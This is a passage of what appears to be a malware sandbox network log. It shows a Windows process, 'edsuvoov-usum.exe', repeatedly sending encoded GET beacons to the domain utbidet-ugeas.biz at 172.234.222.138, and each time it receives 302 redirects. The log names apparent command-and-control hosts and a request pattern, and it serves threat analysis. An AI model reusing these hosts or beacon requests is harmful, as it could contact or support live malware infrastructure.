Sep 7, 2024 15:34:13.943244934 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:13 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.3	60147	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:13.955864906 CEST	201	OUT	GET /d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:14.444094896 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:14 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.3	60149	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:15.054189920 CEST	169	OUT	GET /d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:15.564754963 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.3	60150	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:15.573806047 CEST	201	OUT	GET /d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:16.063642025 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:16 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.3	60152	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:16.726694107 CEST	169	OUT	GET /d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:17.209203959 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:17 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.3	60153	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:17.224905968 CEST	201	OUT	GET /d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:17.710038900 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.3	60155	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:20.129193068 CEST	169	OUT	GET /d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:20.635785103 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:20 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.3	60156	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:20.645337105 CEST	201	OUT	GET /d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:21.125236988 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.3	60158	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:21.272953987 CEST	169	OUT	GET /d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:21.759421110 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.3	60159	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:21.768987894 CEST	201	OUT	GET /d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:22.269361019 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.3	61352	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:26.969809055 CEST	169	OUT	GET /d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:27.472398996 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.3	61353	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:27.483975887 CEST	201	OUT	GET /d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:27.974005938 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:27 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.3	61355	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:28.308815956 CEST	169	OUT	GET /d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:28.794915915 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:28 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.3	61356	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:28.800782919 CEST	201	OUT	GET /d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:29.284914017 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.3	61358	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:30.578511000 CEST	169	OUT	GET /d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:31.065511942 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:31 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.3	61359	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:31.076946020 CEST	201	OUT	GET /d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:31.589180946 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:31 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.3	61361	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
